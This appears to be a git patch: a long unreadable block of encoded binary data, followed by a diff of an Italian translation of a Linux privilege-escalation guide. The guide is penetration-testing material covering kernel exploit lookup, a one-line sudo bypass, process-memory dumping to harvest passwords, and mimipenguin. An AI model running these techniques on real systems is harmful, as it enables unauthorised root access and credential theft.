z#{qi5iB5o4?9QAi0hcf3mj~FnGZ-uFNM6tj0IoeOtop{wK(fluI>0y z_NL%O=lKVDXAK_9bRQFdr1bp6t@l>6ZWw($2y&(DAPiAbU2C>yc63~^|OGKu`ASxB+= zgG%tXnHHea2=fcX-MdqQbj{(q;^Gg^KVtgCFo6LmoyM!qA`hsv=TQ#sxRczPPhs z4XrV%$S>p_;ma_qtB+aWk`Hp=vDa-2!!a>2FHw*J?Sy+b@k$$lduZO5I7gIsewNAR z@qVKaJtMJv^JM(wgO1#1IAo&p`e!(m1smuJnxmbdY;n!;&U_ordK9xo@pJLe-I&w$ z^=03;8P_`Cl_R0u)-r;~$V@8GM8xzeV8nrsy0ZxAn*g5#q8z59Z^FsR%4Q*~(&pZT z%+uGg6}jqOm#DBw5q?TSfenn6{B(Mh=Jz)wEDLuoRimdb?R1jm*u2!}X%dVn0NsVx z?u}E%nj2I10*qJSV`GS|fS#II)4ao3#zG*Oe3=8owhMvkV=)Dk>Dg__OiDZf(Fq`V z+`<>=mH7DPjdjSwy>C39c@x$~gdtwVsy&Lc2oh$9LfSpg;C}Wi@<3;(Gkne6DSd>D>8*ZJBZ5f~=E}l$H-ROzk`sA0K?UIP( z!o~dRHi>h^ha~u=^OAL7<4%qOSO)p@N;I|ik_+;ToipL?hTXJt4rBlfK9a6^Pc+9L z>;5^j#5>kITl9r%YHNBb>>Qf4to0-H1^}QDsuf$IXqrM&;$Vr3OH%%HKC)RGtER)_ zx2n9Cq%`53~`bl_VyqdXjPXXA2=*E3UewM?G3Z_$eW>cwlW6#5OE8h7iThI>x0%ZX#u&X@ zfn%C>DUPo-fP9q^$D47sb@y8%UET8c%|X1NweehLAEJ@t-w*NBG;lcx?SPuWDq`2; zDx4qk2R(m4S+S`n9Pf*Bdg{+#2>T)l4NpPaKb5D2F9?GedhYb@OULe8xDQaEBw)n8 zgj7LH4P4fbX@P+g->XJpqGTi5QXOrJYSq@?%YSkJO;LLePMYFGD5>&&2Lq54;FCW$ zv0(o*zxT$fd$@9*Fau?;!h!||Op1N$ruf5X+z#s`9oBk7#~_-OEBPRc7w>nk4`zcE zu18h9GCFO}I;L$q6np9ybnP0gGgr{+IUIP6*#Y(dpyF?%IE!ve>@kVk%g3HMETwPW zG|UXb?vrnIm`o|}7!Q8`UZ4HF@Rtph{!7qn`O4Fu+cu@Dn*iG4qm)B;alRdMUGj)f z{h7yab$5%dke*&!#PxGY3z`D62b2L6?N1I`G`mFExC#TP`54gI=H5l-U9^0Y?1jcb zZ1g~Ems|V|1x%bA+EwS21m%f#?pYJI4oT5RF$KHN-U}fN@IY#@9q%$@)A&}@xJ0zK zFAQ$XMM@c$(YlfAglaZ07z5V%kCE7IRoicpG5x9cvZeZN$6kcp zdZe!P5EtVw9pird==Ixe$q&o;&qAG@@7ZqX?N4S|-yfcvGY0l~aNA%FxLZfpIQ*L2 zU_nza@;cFZ?x(ur5}^5z2QdxVcEFt6_77iRXTn(_i66baXcuOkS*+s#8^IwzKQO+k z@<;0pB-W{{8NfTH<4K#op;|vGJa&cm)hkS{rr6KtU5_>EdEK-3>0Z}Fw>h4G&S;E8 zJU|&5(r;@djirQ!cL{7nEwtoUpsC8IWYY+gyE}D;8BRo>&?cQ2Huq1FNwqi zxNp1ZCmnji;0-pZTEOezi?%9QT9exrW3ITNNSkMOQRgMXx1PWAx?lq|y9{ytp6!(w zU=Cgw%g9P#%ujnN2c!VDI9IMST_U~YMlQd6wZll5%QQ7hlIAO?o-^RjYRRRqu=ft@ zsXb1;MYMu6k>rZhl(#%4?)@1j`z)Xl+uCDNV~Sxx6%!3feuYw4G)ukWF?h;5>M>pBF7hj*VrT#_q}I zl1RJ0y`N*Vz9WUdb?oS1>y6YnETI9gfI&iqMVYHxJ2H<$(2I`Pg7;C{`ID$9d%IiR zW|grZxx_KnlEz}N33R;9ZDVZEq|>jm__}EIFu)Y8#*p}00ol|vCjLcaTSR*XVvUI? zi)Ow%XF?fiS~v$U_~v)#G&4-%j$=^BO~$LF_o=+VMoz)W((+gI-n)OGJik*;n=}Jh zpB^Jc#OZkfEJgm2UT#>FFBOY~ckymqE%#$ZN{e;X=bDxydK91VLsjV=&deQQ zL$lU->apMhcmR#*ucVZEjBtcIsRUv$Ngv{G={W5%K0dCsUq^{I(qTLD0MdPH;TJg{ zMxJSuHNZoW{IZ#-?l(z2X9B&2nxIPSAb3YAa&gOEH`fY*dz9p3K4&h*YjBPlR9us&k{E8W(;Z`I!nu=hBm(o@J2<2 zf)QzTl!;y}=ygZilICbWSwRT(@V0A>y$KAz&NZpBhL?)yBo$|lMFT**rD49`HWXRD z_q@ID3S`8xKL;+Y4&-4ZXgsQIGI~zW9tl=mo1C1RN1DrQcH~u*7HbRZ4CHXl&r99D z;tc4Mxk6sLQJI(x$n5vAgeh#WFo_TDVT+}ts`zprBi38-zSHI8&ROQB{;%Wv$cS2J zAIZA0G0_FZ4bdU%ciAMNRcF~a_`1fClSfkZxR<;&xoo9ZQAt2g#B3sc)UCN#%Ljs4 zs+NnszyZ^D{|JN&+|IVm_IC3zNlyH?bcqKE!;jqIl)vHYv;NZkN!MdoS-E!ZpSl|K)zlkrhjm;e0lCck zyJ4#G+hSYQhav>pp?Ly;Jxolamq*$qf5E5Gm>N!v7uIr?s$Kc|@C8|16thd<<3O_x z;)=sii_Flyg}0Ho{dhroEbjreOI7Q1VIyhKzCS;|P`P3gblV$1o^GOz&)>gqUFh?% ztLzZG)>Jfj4jiMQKnc1Ygy$&RE^19X7gM~SCKjxeCY0)9X!&@|Cux7Vk4I6lfI9$v zE|_~CLp9@`FQyn`dG=g=fhkrsdD<`mC}uZ+b-zCgsjRk`WnK7`G0>|SiN(X#*Vh%Z57PlwMc{PS;Igg~C;AK6&im$R zZ;z?pf_hD6=FIx-7g^We10*0k*sY-S=_$X61GhcRWv+n-1x;ewp@qHEyHbB>9H!t) z45~eWlgE|%qZ$`2K&_gmLI#B*Jwc~eTfGK3N%aowM*)_QBGnv(*Zy%0_FBmL>}SmSyo5`V@cd8*qtbMGJsWoi@v@ zlCmURZl17%Q9m3gIrzTUSB*+t$>5%YU^`%98 z0CXz`@c(6m-#kWX@3ZyPK~hq5(EL7pXn1&c4)AsesayKA*O)x~g41Mr5GI5h09KEG~lW(v?U%B9hM4 z%SJ;y0v-yV(C{}PE@>9pu^H$Ezn}YO;N@hdRw(uyAv=8}yzPuR(PiK<^Swv5P*O$KUk&J`y(t zD1eE&ReDT)R&F1J&AZ;-%u579&M+Z~77op_iI-iZ|Wok zq7!r&#XKc*(>XFyu^5^YE=nAr4&SEa9YE-xN$F~b+kXV~t~fMjdRSGK{=#N+Jt@=l zts&JrPt-GVVmj=ve6(#w2!9vB47az|($JslvcvCETEp{Mf&I@%1>Ne&rl$HfL2E%? zlr##!_K?WgTTnL}+EyJ;YuAT*Rph zT$}3;RY!)EwNasc=#a7|;`vf0yVQAg=2DQ${{2px61t~y^B(?{w|hE#_WL50R6Q46 z#6|eJ)us{eUx+^{`bi7Y*3J7eqt>#rHdk#~XV0LQWJnfvEqnt!%c%M4GXRRf2^S_+ z^5Lqsc=*i@!B!*Ua-3bY@&X;HI<#c-)f~uK$JE=NAo~pSp~?#={>i1Dk;a=eJg~92 z{np0xjCNXlT%lZve&Mf?X(4Kbz0jc zHuf8cWRtvqE0W!;#V|r z8t2;2&YWrpSo$w+bpP4$ZbY4=3kFY`nIIuY-TS*wtWMD%ryf*OfFb#$Km4{*E6pt< z6!ZOdnN{)&C^*+V145QvS3dUbXQY|F2kUb7sYHFI>#v~0jVAv1gviK6(6XBY@azo6 zk>;e4`&#WCYzvs_`GT%1N%iYgMpsZeYWw`;TmBUjDsR-d=U}+N9_KZj}-rS%cv5CH?P{F=4Jvt26ivvdmT_e86zwQ4zcG< z*G({BHq}GeIW*9~6iW685Ee%BQqhM5AQW14<(~%Deda(^Ha|LVU7G536#EUlu=B9#~v>pz_6tUV73BU zu{OSozfUganwzhq$_+zuZUkz-ZuJj#7VT@K^=|=uO(M#F0(?&R-C1g?P$v#wN`+j` zeDIHW_I83iJB905`yl!Tw{Bb5@nH*t&UCXIlFlM3GBQ4Z8aza}gcC{48UL8DvBS8% zpubMEXCYaeP(8qTPe>^uf5oD59UrggmZ=MhMLjPgVE)s@)K|SsCQg!WqrzHq=(2G~ zl}w~db_m(l_f!?{{#k)E2_VnX1n)$zp_{MTR^MT4{Xdp98p7CaE_m(>HomxQ04OGc z61zF?3)zN7M{A5>5v`~zry9pBo*3#ck8a`ai2r7X*puDOJQF#!++Hv8e|ajtIO{~H z>ocEi?sF@D_+di2>rE|#8jl^Rdcy78-^jb>>5xOvVE_DL+K#ZpbUFwc^rysdH>bM# zh3Fjrtw>=*DalxQ|Fi7+PEUrLHYzNmCqbA`c|PP+-Cu7j3!iNRP%7MlYevPKW)BS| zz-N-ko~+B{)P$%eT`3l?f?WfSkmakkgtXI5r&V|b&UcNq-iR1zpZ7y`N7Lb1pEOeY zZng*+eN2j~-oxoD8K8uApIOZ_$}ht$8$>>ofdxhzo*o??58i!xdKTUwZflo$W9n#g zR$7{1d3K0BXsQ-_oq}A;t%od0ivhsBCnhQr^vF7+Ccn{Mz2s@g>W@hjSJHs_6qzSr zqzT-s&gGCbH(3<@&rk;~mWvlIcrl9?4_rA`3?r(}$Qo6(I$(X*cSBY=@=o|!SA?9u zztSy}158Ga7A{0i96z%Of#|LV+w_=s(%)SR!AV;_BS94V63msV=I!xA?H}6XM zgAjh->o|`NTOG;sxC#7e7z+>iK^@4mS79uK;Eu&=^WhSNU)CalXJO)St$(!pl$xS&I)0X@{u!PIAw_K;24oT%^OyBD<7BP z6^&HI6``yUR^gh9;@?$YYd=l~w4kOiC1p6JbAvXjf~EvC=gJRgF9{9;qLbG@*SkJv$NSf$BsF3Ok4W+erklq`4tvNci!3C$EtAw zWJ^_D*0+(>Kt+eg^$hQF3ji#Ci)CGF|8~gsc0E1Fcv^Vqgj2nhSPS|u9XBx?XSpD` z{!kLu(j)3!#xz`-uhJd{hlQ32XSn(+8r>kWY1`L${8t@ z5Oij&D;|K`Bi${QAX&2D6~)Sh-ld+4+q%6M$ZJs@fxM8plW*426}=L&KD&LN?$fmp zFBfz;S#w=>LzLoI9@by^lkDdR<^I}=6nNdNK-s{9PhmH6mhPngqZ#yzy_ zr(|~M(;55DIqM#>ctWFc=8`gUY*d9|d>1%$D^hm!9dE6@Ke2zi;!Y2R_?!pv8=)OO z2=W}yVE2Lp3X$ojDPE_$eG`uMAzJu78?+j{V+gsPV-z0>02Wmn?$0wSPeMWsNRcy6x*5uQQP^w7Dvjp3bn+eo| z26as{T=@q2Et1Ba)9lWgODv4o*T&QVYn;Z`v;`ipojNOtd`3(A!~LEL9E@bD)Fp=J zxWxUpJ!)IJvarGPjZLIB3-&PQp+R?^%;WW5p*{D1ZqAI4d*DjBX9atF;fCsJ^EISy zli|X`JSmn1TQ=6V{dp=;rag)w&BHvZBkk&tU?0H9)Mn5GapEb(O4jo>-c#T6HWB-F zv@AUzjh?$1-@FpLX$Hy0opUs#z*gX0VUJcOMxi^*zb(;tmmWQKwKfhMfr{J zd?t!xE<|hgmcnK}GHympOZ7bnu^SR1ENfk9HRGT@{Xk6Ikc+oICQ-nDa!ya>X@Ss` zptLX3!kN=1q%uybCnkVO$&BT{JHzc;3dymM{)R1XIbVJOS`z~ZvDqi$U2drpGT)_4 zYFTBDGV;MGqbl36;`sV0Ni{)qIwr*?C%Kp-;KY23MgNuo(9ZM4ihfl=CcjA1tVw$y5|Q% zJ;wSgVM{(`aWYhc2R7p(0`~2W%S~>%!E^DUB?}kzOxq8cv6@G~JXecjxp=s4jzy{J zX{W*v@5$FM0uhKgi&J7qf=njNVCRP3&p&xFJ%x&0_N8~pxp$*^_aYMqZ3=ODX8Xfm z`Z4#Do;+$C!xPGn{kMy+Z%O0nRXQDLg5LIe&(P|xfJ_Hj{zLAy^5{1!Yth# zT3|%|2f|YJt=U?80~l4D={K>iVk@dwO&baiaB%3Jt18^pQOqBPa`AKo`J=7GE~P^e zhIG#IPRI12DZwWV;oR+&*K}Yp7zCgExnCJ3YM%Q&o87`0GPRdG`txu_ILB7Rye!Po zB#)ap)Rqm>9(9739ZJ#Z30=G!oQ6T9Sv5sDo0*mf%5<^OA1qZ+m@F!c4#F;jB@YPO zJ1u4LQwg}8yq&6@NN-$ zi&)gps6jue`Q_E6PlP?6p0Um#*ii(KSdRB;MJO$Z5kn*Sb|_DKK4L4Py_%&pd#Mb89e556v&{K}- zBEPSVGmEgXk%4M0-1#&rB%I;B{n~ zj#FB9$M|;MbdE)IUx$R{YMo22?^oD{f6IQ>OEvfuwikZZ#jTq})RA>*(D%?)VuE{q~)iTxrI-QsIFI4XNxA0_L$XfzZ$C@x@Z)luC_3*2{|{BiI^rg2_! z*U)iK;;GPHx}?Vz{NPqso&@t}uvuj@Anxi(3_3AV#cc!dI=rEmu?)O-JAT9V(@F}8 zws<*dD{d}HUr#x21nF%t7f`ZzS5UHunDvjHVqgJRxPmryZ{9a?>?y#(H1d>RHWF?HQovT zT&L2`AD-a#fERmQ05r-egm-&BCLS>)MZB4sAE(81sl)uDtKMtDUL9VJl(e{ZV2rMv zCRU&M&>{IV-LAO)(Kq)3{<&Et0rz_SuP@tEWBa(cG`N3-vwf}OdFG8oDFLzon`9+E zVmW{kmI}Dpq!LkaF$Q1mo1Qcg4bm<-R{i3W(_Iu^VuaNY3Niib1_9@0J(ZfU&&7`- zv#B`A!QULBKOpGL`z8&in{+tiF@R|tt5-(yA{1E~yl zF#qKPble-UV8quyzA0#1Wbyi8<<~hKSD$0K9uGc=wuie7ba0`Rho@x^B4|WQhuI7w z29sfNG5+oR8gvInAv9v8u21hKCNm5DmBYjZ6o3&Xvdl_q?T9zbo3Ac9EzbuLT&jF7 zZ}r>HX6PYrTY}vCBu@-UW8E|Ld7FSzvaX3p9)G2gX{%3=gJac3V9$Pnv zM^gJ(?VD2V=69=amp7hIw*-fky&o|(9f0R>gDMvY2G@gxouxnVbw=KAWk`NFZUPo%wC=W4}vYQbbUS?PoW>Czuj+@EP1Lbqnz zdEwrZb2w*3pdNKKc_bzVF3P(=ke)_?&N3Iv%77j9@=$=@6Xmr4rFd~ zcZ1@fEXAr}rky+Q+bb$4xEy&xCY~S1)sp{B$ z_@%x(56+iwRNEU2y&G<`)G$l8wXMmdm zbUGe3Y*oWD9Z!f?u*hWmv{ZHRFG@8qkY^mMwM%yyo^jVmySKMqXrirL1sWCch4q;` zO&W-{R{IzaSB?wqs^U^YQCSeXTEI-ivJc#Vsu@b&ZXU-arMx44R40UPa>? zu>#l>5qfxd3?enA2o9gqu73rZMyrS1emK-SiRh9Ee&_0JG(59o8+56Y9ym??v{a<9S|NH&@ z`$hi0{&Lk~B*|mL6B)>J;vZ=ia*f)A1Y|-*M@V#6f%Z$;Xqo!&#b;bxB~>(~!ruzy6>yWJn$aSI z{~YIk^9vXpoq)?3{D2e!ZS z7*HrejW~%F_wQ_FG$$y(piq2P?(dv`tUy~mYM#5`zcnNGfC;&0|1sq63=fHH<>9>_ zNccakuRjm@3Yd^rQ?4X`Yj^J-y_l6{5|Ih#O z-~6IaiBNlD^G)z?4ey_Y{O>jX&qDt98b|-LkpI20{)x!{4%YwQN91$7ds/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### PATH +### Path -Se **hai i permessi di scrittura su qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di hijack alcune librerie o binari: +Se **hai permessi di scrittura su qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari: ```bash echo $PATH ``` ### Info ambiente -Informazioni interessanti, password o API keys nelle variabili d'ambiente? +Informazioni interessanti, password o chiavi API nelle variabili d'ambiente? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Controlla la versione del kernel e verifica se esiste qualche exploit che possa essere usato per escalate privileges +Controlla la versione del kernel e verifica se esiste qualche exploit che può essere usato per ottenere privilegi elevati. ```bash cat /proc/version uname -a @@ -39,13 +39,13 @@ Per estrarre tutte le versioni del kernel vulnerabili da quel sito puoi fare: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Strumenti che possono aiutare a cercare exploit del kernel sono: +Strumenti che possono aiutare a cercare kernel exploits sono: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (eseguirlo IN victim, controlla solo exploit per kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (da eseguire IN victim, verifica solo exploit per kernel 2.x) -Sempre **cerca la versione del kernel su Google**, magari la tua versione del kernel è citata in qualche exploit del kernel e così sarai sicuro che l'exploit sia valido. +Cerca sempre **la versione del kernel su Google**, magari la tua versione del kernel è menzionata in qualche exploit del kernel e così sarai sicuro che questo exploit sia valido. ### CVE-2016-5195 (DirtyCow) @@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo version -Basato sulle versioni di sudo vulnerabili che compaiono in: +Basato sulle versioni vulnerabili di sudo che compaiono in: ```bash searchsploit sudo ``` @@ -67,19 +67,19 @@ Puoi verificare se la versione di sudo è vulnerabile usando questo grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 Da @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg verifica della firma fallita +### Dmesg: verifica della firma non riuscita -Consulta **smasher2 box of HTB** per un **esempio** di come questa vuln potrebbe essere sfruttata +Consulta **smasher2 box di HTB** per un **esempio** di come questa vuln potrebbe essere sfruttata ```bash dmesg 2>/dev/null | grep "signature" ``` -### Ulteriori system enumeration +### Ulteriore enumerazione del sistema ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se sei all'interno di un docker container, puoi provare a evadere da esso: +Se sei all'interno di un docker container puoi provare a evadere da esso: {{#ref}} @@ -132,7 +132,7 @@ docker-security/ ## Unità -Controlla **cosa è montato e smontato**, dove e perché. Se qualcosa è smontato potresti provare a montarlo e cercare informazioni private +Controlla **cosa è montato e cosa non lo è**, dove e perché. Se qualcosa non è montato potresti provare a montarlo e verificare la presenza di informazioni private ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,56 +141,56 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software utile -Elencare binaries utili +Elencare i binari utili ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Inoltre, verifica se è installato **qualunque compilatore**. Questo è utile se devi usare qualche kernel exploit, poiché è consigliabile compilarlo sulla macchina in cui lo utilizzerai (o in una simile). +Inoltre, verifica se è installato **qualche compilatore**. Questo è utile se devi usare qualche kernel exploit, poiché è consigliabile compilarlo sulla macchina in cui lo utilizzerai (o su una simile). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Software vulnerabile installato -Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci una vecchia versione di Nagios (per esempio) che potrebbe essere sfruttata per escalating privileges…\ -Si raccomanda di controllare manualmente la versione dei software installati più sospetti. +Controllare la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci qualche vecchia versione di Nagios (per esempio) che potrebbe essere sfruttata per escalating privileges…\ +Si consiglia di controllare manualmente la versione dei software installati più sospetti. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Se hai accesso SSH alla macchina puoi anche usare **openVAS** per verificare la presenza di software obsoleto o vulnerabile installato sulla macchina. +Se hai accesso SSH alla macchina puoi anche usare **openVAS** per controllare la presenza di software installato obsoleto o vulnerabile. -> [!NOTE] > _Nota che questi comandi mostreranno molte informazioni che per lo più saranno inutili, pertanto è consigliabile usare strumenti come OpenVAS o simili che verifichino se una versione di software installata sia vulnerabile a exploits noti_ +> [!NOTE] > _Nota che questi comandi mostreranno molte informazioni che saranno per lo più inutili, pertanto si consiglia l'uso di applicazioni come OpenVAS o simili che verifichino se la versione di un software installato è vulnerabile a exploit noti_ ## Processi -Controlla **quali processi** sono in esecuzione e verifica se qualche processo ha **più privilegi del dovuto** (magari un tomcat eseguito da root?) +Dai un'occhiata a **quali processi** vengono eseguiti e verifica se qualche processo ha **più privilegi del dovuto** (per esempio un tomcat eseguito da root?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +Always check for possible [**electron/cef/chromium debuggers** in esecuzione, potresti abusarne per escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** le rileva controllando il parametro `--inspect` nella riga di comando del processo.\ +Controlla anche i tuoi privilegi sui process binaries, magari puoi sovrascriverne qualcuno. ### Monitoraggio dei processi -Puoi usare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy) per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando viene soddisfatta una serie di requisiti. +Puoi usare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy) per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando viene soddisfatto un insieme di requisiti. -### Memoria del processo +### Memoria dei processi Alcuni servizi di un server salvano **credentials in clear text inside the memory**.\ -Normalmente avrai bisogno dei **root privileges** per leggere la memoria di processi appartenenti ad altri utenti, quindi questo è solitamente più utile quando sei già root e vuoi scoprire altre credenziali.\ -Tuttavia, ricorda che **as a regular user you can read the memory of the processes you own**. +Normalmente avrai bisogno di **root privileges** per leggere la memoria di processi che appartengono ad altri utenti, pertanto questo è solitamente più utile quando sei già root e vuoi scoprire altre credentials.\ +Tuttavia, ricorda che **come utente normale puoi leggere la memoria dei processi che possiedi**. > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> Nota che oggi la maggior parte delle macchine **non permette ptrace di default** il che significa che non puoi effettuare il dump di altri processi che appartengono al tuo utente non privilegiato. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Il file _**/proc/sys/kernel/yama/ptrace_scope**_ controlla l'accessibilità di ptrace: > -> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugged, a condizione che abbiano lo stesso uid. Questo è il modo classico in cui funzionava il ptracing. -> - **kernel.yama.ptrace_scope = 1**: solo un parent process può essere debugged. -> - **kernel.yama.ptrace_scope = 2**: Solo admin può usare ptrace, in quanto richiede la capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Nessun processo può essere traced con ptrace. Una volta impostato, è necessario un reboot per abilitare nuovamente il ptracing. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB @@ -203,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### Script di GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Per un dato PID, **maps mostrano come la memoria è mappata nello spazio di indirizzamento virtuale di quel processo**; mostra anche i **permessi di ogni regione mappata**. Il file pseudo **mem** **espone la memoria stessa del processo**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Usiamo queste informazioni per **fare seek nel file mem e dumpare tutte le regioni leggibili** in un file. +Per un dato ID di processo, **maps mostrano come la memoria è mappata** nello spazio di indirizzi virtuale di quel processo; mostrano anche i **permessi di ogni regione mappata**. Il file pseudo **mem** **espone la memoria stessa del processo**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Usando queste informazioni ci **posizioniamo nel file mem ed eseguiamo il dump di tutte le regioni leggibili** in un file. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fornisce accesso alla memoria **fisica** del sistema, non alla memoria virtuale. Lo spazio di indirizzi virtuali del kernel è accessibile tramite /dev/kmem.\ -Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo kmem. +`/dev/mem` fornisce l'accesso alla memoria **fisica** del sistema, non alla memoria virtuale. Lo spazio di indirizzi virtuali del kernel è accessibile tramite /dev/kmem.\ +Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump per linux -ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Scaricalo da [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump è una rivisitazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Lo trovi in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,10 +267,10 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Strumenti -Per fare il dump della memoria di un processo puoi usare: +Per eseguire il dump della memoria di un processo puoi utilizzare: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puoi rimuovere manualmente i requisiti di root e fare il dump del processo di tua proprietà +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puoi rimuovere manualmente i requisiti di root ed eseguire il dump del processo di tua proprietà - Script A.5 da [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (richiede root) ### Credenziali dalla memoria del processo @@ -282,23 +282,23 @@ Se trovi che il processo authenticator è in esecuzione: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Puoi dumpare il processo (vedi le sezioni precedenti per trovare diversi modi per dumpare la memory di un processo) e cercare credentials all'interno della memory: +Puoi eseguire il dump del processo (vedi le sezioni precedenti per trovare diversi modi per eseguire il dump della memoria di un processo) e cercare credenziali all'interno della memoria: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **ruba credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi root per funzionare correttamente. +Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) ruba **credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi root per funzionare correttamente. | Funzionalità | Nome processo | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Password GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (Connessioni FTP attive) | vsftpd | +| Apache2 (Sessioni HTTP Basic Auth attive) | apache2 | +| OpenSSH (Sessioni SSH attive - Uso di sudo) | sshd: | #### Regex di ricerca/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -314,23 +314,23 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Attività pianificate/Cron jobs +## Operazioni programmate/Cron jobs -### Crontab UI (alseambusher) in esecuzione come root – schedulatore web privesc +### Crontab UI (alseambusher) in esecuzione come root – web-based scheduler privesc -Se un pannello web “Crontab UI” (alseambusher/crontab-ui) è in esecuzione come root ed è legato solo a loopback, puoi comunque raggiungerlo tramite SSH local port-forwarding e creare un job privilegiato per ottenere l'escalation dei privilegi. +Se un pannello web “Crontab UI” (alseambusher/crontab-ui) viene eseguito come root ed è legato solo al loopback, puoi comunque raggiungerlo tramite SSH local port-forwarding e creare un job privilegiato per effettuare un'escalation dei privilegi. -Typical chain -- Scoprire porta accessibile solo da loopback (e.g., 127.0.0.1:8000) e realm Basic-Auth tramite `ss -ntlp` / `curl -v localhost:8000` -- Find credentials in operational artifacts: -- 